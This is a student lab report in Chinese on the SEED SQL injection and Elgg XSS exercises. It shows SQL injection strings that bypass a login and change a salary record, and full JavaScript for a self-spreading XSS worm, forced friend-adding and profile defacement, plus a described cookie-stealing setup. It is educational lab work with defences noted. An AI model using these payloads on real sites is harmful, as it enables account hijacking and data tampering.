20211908 孟向前 2021-2022-2 《网络攻防实践》第十周作业
实践十 Web应用程序安全攻防
一、实践内容
Web应用体系结构
web应用程序(Web Application)是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行。Web应用程序的流行取决于浏览器的普遍应用,及浏览器作为“瘦”客户端的便捷性,更新和维护Web应用程序无须向大量客户端分发、安装与更新任何软件,也继承了Web天生的多平台兼容性。Web应用程序与浏览器的完美配合造就了B/S(浏览器/服务器)计算结构,虽然从体系结构上与传统的C/S(客户端/服务器)计算结构没有很大改变,但大大提升了部署和应用的便捷性,有效促进了Web应用,乃至整个互联网的飞速发展。
代码注入是针对Web应用程序的主流攻击技术之一,在OWASP组织2007与2010年公布的Top 10中都排在前两位,代码注入攻击通过利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄路、权限提升或对系统的未授权访问等危害后果。
代码注入根据攻击目标的不同又分为:
1.恶意读取、修改与操纵数据库的SQL注入攻击;
2.在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;
3.在Web 服务器端恶意执行操作系统命令的Shell注入攻击;
4.其他多种多样的注入攻击,如 LDAP注入、邮件命令注入、空字节注入、SSI注入、XPath注入、XML注入、XQuery 注入等。
在这多种类型的代码注入攻击中,SQL注入是目前最为常见,也是较为直观的一种攻击技术,因此,本节将以SQL注入攻击为例,结合具体的攻击实例和工具,来对其原理、攻击方法和过程,以及相应的防范技术来进行具体介绍。
SQL注入攻击原理
SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(')、双引号(")、反引号(`)、分号(😉、百分号(%)、井号(#)、双减号(--)、双下画线(__)等,或者没有进行严格的类型判断,如未判断输入参数是否合法整数类型等,从而使得用户可以输入并执行一些非预期的SQL指令代码。由于目前很大一部分的Web应用程序都依赖于后台数据库,根据Web应用程序的用户输入生成SQL查询和操作语句,来获取和更新后台数据库中的内容,而一旦这些Web应用程序中存在着对影响SQL语句的用户输入没有进行正确过滤的安全漏洞时,那么它们就非常容易遭受SQL注入攻击的威胁。
SQL注入攻击的原理是向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框,等等)输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
二、实践过程
(一)SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
1、熟悉SQL语句:我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
输入命令mysql -uroot -p登录数据库,查看表中的数据
输入命令show databases;
输入命令use Users;
输入命令show tables;
输入命令select * from credential;
打印所有人员信息,可以看到包括姓名、工资、生日、电话等信息。
查看个人Alice的信息
2、对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
1.首先运行托管网站的Apache2服务器Apache Servert,
然后输入命令sudo service apache2 start
打开虚拟机SeedUbuntu,访问网站http://www.SEEDLabSQLInjection.com
2.查看源码,可以看到前端提交表单数据到unsafe_home.php进行校验。
3.输入命令vim /var/www/SQLInjection/unsafe_home.php查看源码并分析unsafe_home.php。
4.如图所示,web数据库用户名root、密码seedubuntu,SQL数据库中的姓名、生日、邮箱、电话号码等信息。
5.对于用户区分为普通用户和admin用户。
6.将where name修改成WHERE name= 'Admin' #' and Password='$hashed_pwd',可以绕过密码验证,因为#后面的语句都被注释掉了,
7.返回登录页面,直接输入用户名Admin'# ,不用输入密码,登陆成功。
3、对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
对Admin的工资进行修改
在NickName项输入语句',Salary='987654321'where name='Admin';#,
后面的代码被注释掉,直接执行set Salary='987654321' where name='Admin'
修改成功
4、SQL对抗:修复上述SQL注入攻击漏洞。
SQL注入漏洞的本质是由于执行语句和数据未区分开,当程序被注入后,SQL语句在数据库中执行时,SQL解释器区分不开代码和数据。可以使用预处理语句来防范这类攻击。
(二)SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
访问Web 网站:http://www.xsslabelgg.com ,其中:
Alice账户:alice,密码:eedalice;
Boby账户:boby,密码:seedboby;
Admin账户:admin,密码:seedelgg
1、发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
进入编辑页面,在Brief description中写入XSS攻击代码
点击保存
使用Boby账户,查看Alice的profile,出现了XSS弹窗,攻击成功。
2、弹窗显示cookie信息:将cookie信息显示。
同上一步,进入编辑页面,在Brief description中写入攻击代码
出现弹窗,显示cookie信息。
3、窃取受害者的cookies:将cookie发送给攻击者。
查看本机IP地址
写入恶意代码,escape函数表示对字符串进行编码;监听端口为5555。
在终端输入命令:nc -l 5555 -v,监听端口,获取Cookie
4、成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
5、修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
6、编写XSS蠕虫。
登录Alice账户
访问Boby主页
打开network页面
点击Add friend,添加Boby好友,在Post中可以看到Request Url
编写JavaScript恶意脚本
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
登录boby账户,访问Alice主页
成功自动添加Alice为好友
修改受害者信息,编写代码如下,用于xss攻击自动添加好友。
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将此代码放到Alice的About me中,用boby的账户访问Alice主页,返回主页时看到语句this had been changed by xss attack。
编写XSS蠕虫,编写代码如下:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
在Alice主页的About me处放入此代码,用boby的账户访问Alice主页,蠕虫病毒已经侵染了boby的主页。
再用Admin账户登录,访问boby主页,可以看到此时Admin也被感染。
7、对抗XSS攻击。
登录admin账户,Account->administration->plugins,找到HTMLawed插件,单击Activate使其变为Deactivate。
三、学习中遇到的问题及解决
问题:在SEED XSS跨站脚本攻击实验中,第一次在Alice的About me中输入代码后,攻击不成功;
解决:应在Edit HTML模式下输入并保存。
四、学习感想和体会
学习了Web攻防技术的相关知识,练习了MySQL的使用和javascript程序的编写,查阅了许多相关博客和官方文档,对Web系统安全有了更深入的理解。
参考文献
网络攻防技术与实践——诸葛建伟